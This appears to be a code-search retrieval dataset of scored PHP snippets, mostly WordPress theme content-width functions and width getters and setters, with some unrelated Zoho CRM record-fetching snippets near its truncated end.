[ { "docid": "864ee3dcd84a0b2b830b646444e69e29", "score": "0.78007907", "text": "public function getIsFixedWidth()\n\t\t{\n\t\t\treturn $this->fixedWidth;\n\t\t}", "title": "" }, { "docid": "76d3e8b3b9ab694015ec0c7ce9a07908", "score": "0.75866425", "text": "function primer_is_fixed_width() {\n\n\treturn ( 'fixed' === primer_get_page_width() );\n\n}", "title": "" }, { "docid": "cbab95aa723dd49dc9bbbf3e2c464be0", "score": "0.7404125", "text": "public function isFixedWidth() { \r\n if ($this->direction != -1) {\r\n return $this->font_metrics[$this->direction]->isFixedWidth();\r\n } else {\r\n return parent::isFixedWidth();\r\n }\r\n }", "title": "" }, { "docid": "4bb43cb0da874a31bf1625f00a324c34", "score": "0.6568704", "text": "function set_full_width_layout() {\n\n\t// c is the string that tells beans to force a full width layout.\n\t// https://www.getbeans.io/code-snippets/force-a-layout\n\treturn 'c';\n}", "title": "" }, { "docid": "b624fcaddf4f1fc177186c9aa8ad75e0", "score": "0.6459173", "text": "function make_full_width() {\n\tUBC_Collab_CLF::$full_width = true;\n}", "title": "" }, { "docid": "85ca3e487f702c84aa85ee938cdde41b", "score": "0.6442264", "text": "public function setIsFixedWidth($fixedWidth = false)\n\t\t{\n\t\t\tif ($fixedWidth == null)\n\t\t\t{\n\t\t\t\t$this->fixedWidth = null;\n\t\t\t}\n\t\t\t$this->fixedWidth = ($fixedWidth == true);\n\t\t\t\n\t\t\t$this->updateType();\n\t\t\t\n\t\t\treturn $this;\n\t\t}", "title": "" }, { "docid": "062c9d859d45c77c33d2003e60b68127", "score": "0.6426335", "text": "function primer_is_fluid_width() {\n\n\treturn ( 'fluid' === primer_get_page_width() );\n\n}", "title": "" }, { "docid": "2ecb29993edb38f20419eb6961fd15f5", "score": "0.63708967", "text": "public function isFixedLayout()\n {\n return !$this->isReflowable();\n }", "title": "" }, { "docid": "97edb8bc77335254c81570e3a29490cc", "score": "0.6270311", "text": "public function setFixedWidth($is_fixed_width) { \r\n if ($this->direction == -1) {\r\n foreach ($this->directions as $direction) {\r\n $this->font_metrics[$direction]->setFixedWidth($is_fixed_width);\r\n }\r\n parent::setFixedWidth($is_fixed_width);\r\n } else {\r\n $this->font_metrics[$this->direction]->setFixedWidth($is_fixed_width);\r\n }\r\n }", "title": "" }, { "docid": "1bcdb2066ee100f124849e3bc1edf2e7", "score": "0.6101988", "text": "public function hasWidth() {\n return $this->getWidth() !== false;\n }", "title": "" }, { "docid": "457a6590f948709c52c70edebdbae99e", "score": "0.5899754", "text": "public function hasWidth(): bool {\n return $this->attributes()->exists('width');\n }", "title": "" }, { "docid": "f05dd4af2cfe90c46f1f663734b4f927", "score": "0.58445656", "text": "function kalium_is_fullwidth_header() {\n\t$return = boolval( kalium_get_theme_option( 'header_fullwidth' ) );\n\n\tif ( get_queried_object() instanceof WP_Post && ( $queried_object_id = kalium_get_queried_object_id() ) ) {\n\t\t$header_fullwidth = kalium_get_field( 'header_fullwidth', $queried_object_id );\n\n\t\tif ( in_array( $header_fullwidth, [ 'yes', 'no' ] ) ) {\n\t\t\t$return = 'yes' === $header_fullwidth;\n\t\t}\n\t}\n\n\treturn $return;\n}", "title": "" }, { "docid": "424375b08a9bbad9edb5f5c1deaea55a", "score": "0.581247", "text": "public function getFixedWidth() {\r\n if ($this->direction != -1) {\r\n return $this->font_metrics[$this->direction]->getFixedWidth();\r\n } else {\r\n parent::getFixedWidth();\r\n }\r\n }", "title": "" }, { "docid": "11420873c771355e7c259b71a3a033cd", "score": "0.5802381", "text": "public function isFixedLength(): ?bool\n {\n return $this->isFixedLength;\n }", "title": "" }, { "docid": "6f8a826fb0f64d4be7dd8ccc5a05300e", "score": "0.5802099", "text": "function flabio_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'flabio_content_width', 640 );\n}", "title": "" }, { "docid": "2ef8c9aa74647fff804ff51282371a93", "score": "0.57960856", "text": "public function setAllTablesSameWidth($value)\n {\n $this->sameWide = (isset($value) && $value == 'on') ? 1 : 0;\n }", "title": "" }, { "docid": "deb7442f663ed75a716c895a0a1db0ac", "score": "0.5768979", "text": "function odin_content_width() {\n\t\t$GLOBALS['content_width'] = apply_filters( 'odin_content_width', 860 );\n\t}", "title": "" }, { "docid": "33cfd928818f39f5f7f8ecb0801628a5", "score": "0.5716425", "text": "function preferred_width() {\n\treturn 300;\n}", "title": "" }, { "docid": "4fde48256133b87b7cbd56dde05b34e0", "score": "0.5661259", "text": "function novusdetox_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'novusdetox_content_width', 640 );\n}", "title": "" }, { "docid": "7ac3b1b410ac7b45fa5c961073ce8e9e", "score": "0.5659039", "text": "function afsp_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'afsp_content_width', 640 );\n}", "title": "" }, { "docid": "d8cb027cac7d25981bcd5ea900e104ed", "score": "0.5629796", "text": "function at_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'at_content_width', 1120 );\n}", "title": "" }, { "docid": "8b9ee19c4f0493d1d3284f8ec6af9c71", "score": "0.5628531", "text": "function PINQCKIK_content_width() {\n\t\t\tif (is_page_template('page-templates/full-width.php') || is_attachment() || !is_active_sidebar('sidebar-1')) {\n\t\t\t\tglobal $content_width;\n\t\t\t\t$content_width = 960;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "77c6167566ab2b5f878bddc61bffd724", "score": "0.56181616", "text": "function _as_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( '_as_content_width', 640 );\n}", "title": "" }, { "docid": "9b665824011e783ed5ed04c72e392b6f", "score": "0.5553583", "text": "public function isFixedTerm() {\n\t\treturn $this->getFixedTerm();\n\t}", "title": "" }, { "docid": "3a21fc56293138ec23f0010dd26c6df4", "score": "0.55478215", "text": "private function shouldResizeBasedOnWidth()\n {\n if (floor($this->resizeWidthFactor() * $this->getSource()->getHeight()) <= $this->getRequest()->height) {\n return true;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "37c4591f433fedba9c22203235ab8010", "score": "0.549536", "text": "function projeto_alpina_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'projeto_alpina_content_width', 640 );\n}", "title": "" }, { "docid": "6c40360ee40b07f1ae5bf8e38c81475f", "score": "0.5493026", "text": "function axiom_is_fullwidth( $id ) {\n \n $layout = axiom_get_page_sidebar_pos($id);\n return axiom_is_full($layout);\n}", "title": "" }, { "docid": "c8ae9183d1bd34b68d97d7ccd4df662d", "score": "0.5485101", "text": "function qed_content_width() {\r\n\t$GLOBALS['content_width'] = apply_filters( 'qed_content_width', 708 );\r\n}", "title": "" }, { "docid": "ac2921d1f526216efad1acd5566e4b04", "score": "0.5474833", "text": "function writepress_content_width() {\n\tglobal $content_width;\n\n\tif ( is_attachment() )\n\t\t$content_width = 724;\n\telseif ( has_post_format( 'audio' ) )\n\t\t$content_width = 484;\n}", "title": "" }, { "docid": "a6f93dc52ea67899565fc7da43d9039e", "score": "0.54747534", "text": "function fluxo_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'fluxo_content_width', 640 );\n}", "title": "" }, { "docid": "01761b71d77ab55f1cd64bd847a14b5a", "score": "0.5474066", "text": "public function getWidth() {\n\t\tif (isset($this->data['width'])) {\n\t\t\treturn intval($this->data['width']);\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "8b7f9787d16f7088d6257d5bcea3ae5d", "score": "0.5464713", "text": "public function getWidth()\n\t{\n\t\tif(isset($this->width) && !empty($this->width))\n\t\t{\n\t\t\treturn $this->width;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t}", "title": "" }, { "docid": "073c70a0ddb533c11381f0d277a1a265", "score": "0.5455122", "text": "function bizni_content_width() {\n\t// This variable is intended to be overruled from themes.\n\t// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.\n\t// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound\n\t$GLOBALS['content_width'] = apply_filters( 'bizni_content_width', 640 );\n}", "title": "" }, { "docid": "38c924d764654eeff271b1521deaf9ea", "score": "0.5453594", "text": "function mooi_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'mooi_content_width', 640 );\n}", "title": "" }, { "docid": "20b2048f4adab622d4c2cea65e6cd1a6", "score": "0.54530096", "text": "public function getSizingMode()\n {\n return $this->sizingMode;\n }", "title": "" }, { "docid": "a1463dd9bf5a0e642fd6b616b5a6c4c3", "score": "0.5451172", "text": "function sth_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'sth_content_width', 640 );\n}", "title": "" }, { "docid": "d6bdfff12714547d93d9ec32983557c5", "score": "0.54453146", "text": "function sinan_content_width()\n{\n $GLOBALS['content_width'] = apply_filters('sinan_content_width', 640);\n}", "title": "" }, { "docid": "e43a93c3c33fe0889cabeae48dd95405", "score": "0.5429748", "text": "function jstore_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'jstore_content_width', 640 );\n}", "title": "" }, { "docid": "451c503735477f026240e65c31c07ca3", "score": "0.54221857", "text": "function accarda_content_width() {\n $GLOBALS['content_width'] = apply_filters( 'accarda_content_width', 640 );\n}", "title": "" }, { "docid": "2e74126bd52b646c086df3c88d4ba581", "score": "0.5404491", "text": "function xmode() {\r\n\treturn (getPluginStatusActive('xfields')) ? true : false;\r\n}", "title": "" }, { "docid": "0bb0dcc04077649b1dd8c7986eff7187", "score": "0.53993046", "text": "protected function _checkWidth()\r\n\t{\r\n\t\t$width = $this->_mapData->getWidth();\r\n\t\tif (is_null($width) || !is_numeric($width) || $width <= 0) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\treturn true;\r\n\t}", "title": "" }, { "docid": "b93300a82ac8f04d51d6344f044f791d", "score": "0.539249", "text": "function moderna_content_width()\n{\n $GLOBALS['content_width'] = apply_filters('moderna_content_width', 640);\n}", "title": "" }, { "docid": "5d0e4be7deaccb1c1f34258bb6488f8f", "score": "0.53910255", "text": "function colormag_content_width() {\n\tglobal $post;\n\tglobal $content_width;\n\n\tif ( $post ) {\n\t\t$layout_meta = get_post_meta( $post->ID, 'colormag_page_layout', true );\n\t}\n\tif ( empty( $layout_meta ) || is_archive() || is_search() ) {\n\t\t$layout_meta = 'default_layout';\n\t}\n\t$colormag_default_layout = get_theme_mod( 'colormag_default_layout', 'right_sidebar' );\n\n\tif ( $layout_meta == 'default_layout' ) {\n\t\tif ( $colormag_default_layout == 'no_sidebar_full_width' ) {\n\t\t\t$content_width = 1140; /* pixels */\n\t\t} else {\n\t\t\t$content_width = 800; /* pixels */\n\t\t}\n\t} elseif ( $layout_meta == 'no_sidebar_full_width' ) {\n\t\t$content_width = 1140; /* pixels */\n\t} else {\n\t\t$content_width = 800; /* pixels */\n\t}\n}", "title": "" }, { "docid": "5f970965c1f4c7b1772b533a6f90e30d", "score": "0.5372418", "text": "public function setWidth($width)\n\t{\n\t\t# Clean it up...\n\t\t$width=trim($width);\n\t\tif(!empty($width) && is_numeric($width))\n\t\t{\n\t\t\t$this->width=$width;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t}", "title": "" }, { "docid": "8fed650b8def5066414bd058995739ec", "score": "0.53526413", "text": "public function setFixedWidthSize($width) {\r\n if ($this->direction == -1) {\r\n foreach ($this->directions as $direction) {\r\n $this->font_metrics[$direction]->setFixedWidthSize($width);\r\n }\r\n parent::setFixedWidthSize($width);\r\n } else {\r\n $this->font_metrics[$this->direction]->setFixedWidthSize($width);\r\n }\r\n }", "title": "" }, { "docid": "d4f5f037bb0f46e769c1e0e2f32b62d7", "score": "0.5351204", "text": "function cah_starter_content_width() {\r\n\t$GLOBALS['content_width'] = apply_filters( 'cah_starter_content_width', 640 );\r\n}", "title": "" }, { "docid": "cefea9a43bb7ede9fe438f59a2c96cbe", "score": "0.5347428", "text": "function jgbnd_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'jgbnd_content_width', 640 );\n}", "title": "" }, { "docid": "1e8d6bbc4755b09e672603a75f1b10ce", "score": "0.53251517", "text": "function technovation_content_width() {\n\t$GLOBAL['content_width'] = apply_filters( 'technovation_content_width', 840 );\n}", "title": "" }, { "docid": "b83f0c07339b1cb8e92046f521c0e034", "score": "0.53181684", "text": "function tlex_content_width() {\n\t// This variable is intended to be overruled from themes.\n\t// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.\n\t// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound\n\t$GLOBALS['content_width'] = apply_filters( 'tlex_content_width', 640 );\n}", "title": "" }, { "docid": "56668ea9e587569ab7af077ad3becd20", "score": "0.52916646", "text": "function buziness_content_width()\n{\n\t$GLOBALS['content_width'] = apply_filters('buziness_content_width', 640);\n}", "title": "" }, { "docid": "effba1ccb7a82b21cb3f460858f93df4", "score": "0.5291069", "text": "function liveglam_content_width() {\n $GLOBALS['content_width'] = apply_filters( 'liveglam_content_width', 1600 );\n}", "title": "" }, { "docid": "27dc0d42ddfcaaea27bf367e5e214d72", "score": "0.5290511", "text": "function majale_content_width() {\n\t\tif ( is_attachment() && wp_attachment_is_image() ) {\n\t\t\t$GLOBALS['content_width'] = 810;\n\t\t}\n\t}", "title": "" }, { "docid": "712eef5d231ba9e5efc4bf53912d00b3", "score": "0.5271233", "text": "function epfl_content_width() {\n\t// This variable is intended to be overruled from themes.\n\t// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.\n\t// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound\n\t$GLOBALS['content_width'] = apply_filters( 'epfl_content_width', 640 );\n}", "title": "" }, { "docid": "23cffe2bb7dbd0e8609d8d4ab654118f", "score": "0.52686125", "text": "static function set_content_width() {\n\t\t// Don't apply this filter on the Edit CSS page.\n\t\tif ( isset( $_GET['page'] ) && 'editcss' === $_GET['page'] && is_admin() ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$GLOBALS['content_width'] = Jetpack::get_content_width();\n\t}", "title": "" }, { "docid": "006e0b53baeee3c8a1d3d1265a6c4aa2", "score": "0.5268449", "text": "public function get_width();", "title": "" }, { "docid": "356ca10971c7f82c5936aaf5abc47d7d", "score": "0.526759", "text": "function hail_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'hail_content_width', 640 );\n}", "title": "" }, { "docid": "fa05031a43123ad993597f2648b83a1a", "score": "0.52646226", "text": "function kmc_content_width()\n{\n $GLOBALS['content_width'] = apply_filters('kmc_content_width', 640);\n}", "title": "" }, { "docid": "cd491360720b7973f95d3a2d7c95dfc6", "score": "0.5264365", "text": "function project_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'project_content_width', 640 );\n}", "title": "" }, { "docid": "531f1237f28df68028fb72a9185da92c", "score": "0.5262582", "text": "function setWidth($width){$this->width = $width;}", "title": "" }, { "docid": "ad7a96cc78d24b6dcb4794be9d886640", "score": "0.5257371", "text": "public function getWidth()\n {\n if (!isset($this->data[self::WIDTH])) {\n return false;\n }\n\n return $this->data[self::WIDTH];\n }", "title": "" }, { "docid": "5690a0c06cd0b360647d4cb4f4df2d98", "score": "0.5256383", "text": "function shop_isle_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'shop_isle_content_width', 980 );\n}", "title": "" }, { "docid": "ee5c2b9206ce998521a26b3399aea8f9", "score": "0.524629", "text": "function echo_content_width()\r\n{\r\n // This variable is intended to be overruled from themes.\r\n // Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.\r\n // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound\r\n $GLOBALS['content_width'] = apply_filters('echo_content_width', 750);\r\n}", "title": "" }, { "docid": "30a37a91eded4d60f18846fd89fa5235", "score": "0.52416086", "text": "function mst_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'mst_content_width', 640 );\n}", "title": "" }, { "docid": "bdfb124a769b0caf250d6a1924c6bd23", "score": "0.5236301", "text": "public function isFixed()\n\t{\n\t\treturn $this->isContainer() || $this->isLeaf();\n\t}", "title": "" }, { "docid": "e8d04821968bacd447c561c5803ed012", "score": "0.523513", "text": "function elegance_content_width() {\n\t// This variable is intended to be overruled from themes.\n\t// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.\n\t// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound\n\t$GLOBALS['content_width'] = apply_filters( 'elegance_content_width', 640 );\n}", "title": "" }, { "docid": "72808b3a593f1099047ce5ab2e14c53b", "score": "0.52283895", "text": "function application_content_width() {\n\t// This variable is intended to be overruled from themes.\n\t// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.\n\t// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound\n\t$GLOBALS['content_width'] = apply_filters( 'application_content_width', 640 );\n}", "title": "" }, { "docid": "3a76b76cbda0e1b9058b42951020f262", "score": "0.52198035", "text": "function wpgeeky_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'wpgeeky_content_width', 1120 );\n}", "title": "" }, { "docid": "d97dab69093c36430b6ebfd423a0a403", "score": "0.521628", "text": "public function preferred_width() {\n\t\treturn 200;\n\t}", "title": "" }, { "docid": "40fb33047c83e3fc48131c1c98516eb6", "score": "0.5214382", "text": "function alumni_content_width()\n{\n\t$GLOBALS['content_width'] = apply_filters('alumni_content_width', 640);\n}", "title": "" }, { "docid": "e51ca5983bcf1cbba5ba0eabcd69ee7a", "score": "0.5210829", "text": "public function isResizable()\n {\n return $this->isResizable;\n }", "title": "" }, { "docid": "1b4a9dd7baada63c09ed6d36c63cba14", "score": "0.5203729", "text": "function bootscore_content_width()\n{\n // This variable is intended to be overruled from themes.\n // Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.\n // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound\n $GLOBALS['content_width'] = apply_filters('bootscore_content_width', 640);\n}", "title": "" }, { "docid": "1f2a59dd14b787383079d99ffe6b2423", "score": "0.5198076", "text": "function waffleiron_content_width() {\n\t// This variable is intended to be overruled from themes.\n\t// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.\n\t// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound\n\t$GLOBALS['content_width'] = apply_filters( 'waffleiron_content_width', 640 );\n}", "title": "" }, { "docid": "d476936e9465d79a9f57da53b0b0657e", "score": "0.5195113", "text": "function get_form_width()\n\t{\t\t\t\n\t\treturn 350;\n\t}", "title": "" }, { "docid": "d1a60697157bb0cce9ed907f394fade8", "score": "0.5186066", "text": "function gmktg_content_width() {\n $GLOBALS['content_width'] = apply_filters( 'gmktg_content_width', 640 );\n}", "title": "" }, { "docid": "ba18151f7621a0ee338431d436276625", "score": "0.5185318", "text": "public function gismo_content_width() {\n\t\t\t$GLOBALS['content_width'] = apply_filters( 'gismo_content_width', 640 );\n\t\t}", "title": "" }, { "docid": "84d6c67fdc5a3e7a40dc10119ffcfc18", "score": "0.5178147", "text": "function fishing_admin_general_settings_body_width() { \r\n admin_select_input( 'site_width', array('Boxed', 'Less Than Full Width', 'Full Width', 'Custom Width'), [ 'class' => 'auto_refreash_page_on_select' ], false );\r\n}", "title": "" }, { "docid": "4bec3323a3d4be4f1f93e50ce5ad3f91", "score": "0.51760393", "text": "function chcams_content_width() {\n\t// This variable is intended to be overruled from themes.\n\t// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.\n\t// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound\n\t$GLOBALS['content_width'] = apply_filters( 'chcams_content_width', 640 );\n}", "title": "" }, { "docid": "fe670b85ba351edfe6d99e959ff2c51b", "score": "0.51756245", "text": "function sheee2_content_width() {\n\t// This variable is intended to be overruled from themes.\n\t// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.\n\t// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound\n\t$GLOBALS['content_width'] = apply_filters( 'sheee2_content_width', 960 );\n}", "title": "" }, { "docid": "326adac141460dcb146b6f3a7fb793ed", "score": "0.51732886", "text": "function theme_muste_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'theme_muste_content_width', 640 );\n}", "title": "" }, { "docid": "6141d3bb1e3987f5f54f8c8597be41f0", "score": "0.51729786", "text": "function twentytwelve_content_width() {\n if ( is_page_template( 'page-templates/full-width.php' ) || is_attachment() || ! is_active_sidebar( 'sidebar-1' ) ) {\n global $content_width;\n $content_width = 960;\n }\n}", "title": "" }, { "docid": "866123b0129f21edc3cea30163701cbc", "score": "0.51572394", "text": "function elitica_content_width() {\n // This variable is intended to be overruled from themes.\n // Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.\n // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound\n $GLOBALS['content_width'] = apply_filters( 'elitica_content_width', 640 );\n }", "title": "" }, { "docid": "e8749fb51742607e12098ae7822c2334", "score": "0.5145876", "text": "function responsive_content_width() {\n\tglobal $content_width;\n\t$full_width = is_page_template( 'full-width-page.php' ) || is_404() || 'full-width-page' == responsive_get_layout();\n\tif ( $full_width ) {\n\t\t$content_width = 918;\n\t}\n\t$half_width = is_page_template( 'sidebar-content-half-page.php' ) || is_page_template( 'content-sidebar-half-page.php' ) || 'sidebar-content-half-page' == responsive_get_layout() || 'content-sidebar-half-page' == responsive_get_layout();\n\tif ( $half_width ) {\n\t\t$content_width = 449;\n\t}\n}", "title": "" }, { "docid": "8b0599e2b5aa8c3dbda21d947289f625", "score": "0.51441836", "text": "function lifestone_content_width() {\n $GLOBALS['content_width'] = apply_filters( 'lifestone_content_width', 640 );\n}", "title": "" }, { "docid": "d0ca54d5ad9a461cd35821b1f4f0e6b1", "score": "0.5142485", "text": "function cwa_newsletter_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'cwa_newsletter_content_width', 840 );\n}", "title": "" }, { "docid": "e32a978e0b24693a0582998ba2be251c", "score": "0.51413184", "text": "function codepress_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'codepress_content_width', 798 );\n}", "title": "" }, { "docid": "ac38c46c86ee1a2b72c8f7d0a5a0e7b2", "score": "0.5136128", "text": "private function isWidthDifferent()\n {\n if ($this->getRequest()->width !== null && $this->getRequest()->width < $this->getSource()->getWidth()) {\n return true;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "c55149dbf6450eaf422142494bd3ebbf", "score": "0.51318747", "text": "public function autoWidth($value) {\n return $this->setProperty('autoWidth', $value);\n }", "title": "" }, { "docid": "6b00b6950974ead263399f3f59006132", "score": "0.5127455", "text": "function dc_exchange_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'dc_exchange_content_width', 640 );\n}", "title": "" }, { "docid": "1d9f62ff747c56636c34e95f25770017", "score": "0.51261646", "text": "function sumisip_content_width() {\n\t// This variable is intended to be overruled from themes.\n\t// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.\n\t// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound\n\t$GLOBALS['content_width'] = apply_filters( 'sumisip_content_width', 640 );\n}", "title": "" }, { "docid": "d549bb7cd1bfe75d2e93dfd17cdd9544", "score": "0.51229215", "text": "public function pluginWidth()\n {\n }", "title": "" }, { "docid": "455a7f3ceef2cb9466abe2461553a4e3", "score": "0.5118886", "text": "public function getPackageWidth(): int;", "title": "" }, { "docid": "1846d5926fe906091113f67fa6a27829", "score": "0.5118834", "text": "function twentysixteen_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'twentysixteen_content_width', 840 );\n}", "title": "" }, { "docid": "7ede70c40668d44a948cf61718ba6e62", "score": "0.5112744", "text": "function axiom_is_full( $layout ) { \n \n return ( ($layout == \"right-sidebar\") || ($layout == \"left-sidebar\") )?false:true;\n}", "title": "" }, { "docid": "f5e6dd02c5cc801c81fb91b147075bb3", "score": "0.5110818", "text": "function likeiotheme_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'likeiotheme_content_width', 640 );\n}", "title": "" }, { "docid": "ebb29a8f29a07fe454097e847e9f214f", "score": "0.5092985", "text": "function marco_content_width() {\n $GLOBALS['content_width'] = apply_filters( 'marco_content_width', 640 );\n}", "title": "" }, { "docid": "5c26db0b90152f7c67f23603e5f6825f", "score": "0.50825995", "text": "private function display_width_styles() {\n\t\tif ( ! $this->list_screen->get_settings() ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// CSS: columns width\n\t\t$css_column_width = false;\n\n\t\tforeach ( $this->list_screen->get_columns() as $column ) {\n\t\t\t/* @var Settings\\Column\\Width $setting */\n\t\t\t$setting = $column->get_setting( 'width' );\n\n\t\t\t$width = $setting->get_display_width();\n\n\t\t\tif ( $width ) {\n\t\t\t\t$css_column_width .= '.ac-' . esc_attr( $this->list_screen->get_key() ) . ' .wrap table th.column-' . esc_attr( $column->get_name() ) . ' { width: ' . $width . ' !important; }';\n\t\t\t\t$css_column_width .= 'body.acp-overflow-table.ac-' . esc_attr( $this->list_screen->get_key() ) . ' .wrap th.column-' . esc_attr( $column->get_name() ) . ' { min-width: ' . $width . ' !important; }';\n\t\t\t}\n\t\t}\n\n\t\tif ( ! $css_column_width ) {\n\t\t\treturn;\n\t\t}\n\n\t\t?>\n\n\t\t<style>\n\t\t\t@media screen and (min-width: 783px) {\n\t\t\t<?php echo $css_column_width; ?>\n\t\t\t}\n\t\t</style>\n\n\t\t<?php\n\t}", "title": "" }, { "docid": "886b10d9ba034f441daba38760bd81dd", "score": "0.5060022", "text": "public static function widthOptions()\n {\n return apply_filters('Modularity/Editor/WidthOptions', array(\n 'grid-md-12' => '100%',\n 'grid-md-9' => '75%',\n 'grid-md-8' => '66%',\n 'grid-md-6' => '50%',\n 'grid-md-4' => '33%',\n 'grid-md-3' => '25%'\n ));\n }", "title": "" }, { "docid": "e8741ed58e5cc33ed3e35cfdbd377695", "score": "0.5054332", "text": "function book_landing_page_template_redirect_content_width() {\n\n\t// Full Width in the absence of sidebar.\n\tif( is_page() ){\n\t $sidebar_layout = book_landing_page_sidebar_layout();\n if( ( $sidebar_layout == 'no-sidebar' ) || ! ( is_active_sidebar( 'right-sidebar' ) ) ) $GLOBALS['content_width'] = 1140;\n \n\t}elseif ( ! ( is_active_sidebar( 'right-sidebar' ) ) ) {\n\t\t$GLOBALS['content_width'] = 1140;\n\t}\n\n}", "title": "" }, { "docid": "54744168d58c172dcec6d625d8636232", "score": "0.50540054", "text": "function presscore_responsive() {\n\t\treturn absint( of_get_option( 'general-responsive', 1 ) );\n\t}", "title": "" }, { "docid": "d61cfc674f73028c4546e3440007a707", "score": "0.5051545", "text": "function theme_content_width() {\n\t$GLOBALS['content_width'] = apply_filters('theme_content_width', 1140);\n}", "title": "" } ]
cbd747fceeb414655c594afb3db15f5f
Execution object for the GetMyRecords Choreo.
[ { "docid": "39d9881e253c0c8547703defe379203a", "score": "0.0", "text": "public function __construct(Temboo_Session $session, Zoho_CRM_GetMyRecords $choreo, $inputs = array(), $async = false, $store_results = true)\n {\n parent::__construct($session, $choreo, $inputs, $async, $store_results);\n }", "title": "" } ]
[ { "docid": "926cc563e4f49f66383ad8cf67cbd544", "score": "0.6123452", "text": "public function getRecords();", "title": "" }, { "docid": "e6c6e2a8c10316a7c3608070c3390056", "score": "0.60773164", "text": "public function execute($inputs = array(), $async = false, $store_results = true)\n {\n return new Zoho_CRM_GetMyRecords_Execution($this->session, $this, $inputs, $async, $store_results);\n }", "title": "" }, { "docid": "a9598a5a7aac9a6b856d18681cc15540", "score": "0.59335864", "text": "public function mine()\n {\n return $this->newQuery('getMyRecords', [], true);\n }", "title": "" }, { "docid": "496bd4b7951afe4900eedd991d7808a7", "score": "0.574213", "text": "public function getRecords($scenario = null);", "title": "" }, { "docid": "b795346d7cc88b8fa7ba8b70aecac279", "score": "0.5548024", "text": "public function execute($inputs = array(), $async = false, $store_results = true)\n {\n return new Zoho_CRM_GetRecords_Execution($this->session, $this, $inputs, $async, $store_results);\n }", "title": "" }, { "docid": "faa054198a9a1ffed285e044ff567fab", "score": "0.5501772", "text": "public function all()\n {\n return $this->newQuery('getRecords', [], true);\n }", "title": "" }, { "docid": "2468f50b9c223682592303dcf333c1fc", "score": "0.54276556", "text": "public function records()\n {\n // create when post data\n if ($this->isPost()) {\n return $this->createRecord();\n }\n\n // get all records when get\n return $this->listRecords();\n }", "title": "" }, { "docid": "17c2ed607e53ebfde91874aa74533a5a", "score": "0.5220219", "text": "public function execute($inputs = array(), $async = false, $store_results = true)\n {\n return new Zoho_CRM_GetRecordsById_Execution($this->session, $this, $inputs, $async, $store_results);\n }", "title": "" }, { "docid": "ab6b822a467e2ee8a6ed86ace656c1cd", "score": "0.51547086", "text": "public function execute($inputs = array(), $async = false, $store_results = true)\n {\n return new Zoho_CRM_GetSearchRecords_Execution($this->session, $this, $inputs, $async, $store_results);\n }", "title": "" }, { "docid": "104ff750e19b7a5fd6c9e7a8ffcf9ce1", "score": "0.5050857", "text": "public function getAllRecords()\n {\n }", "title": "" }, { "docid": "578e143853ff11f02446f8e82dd70dd3", "score": "0.5050674", "text": 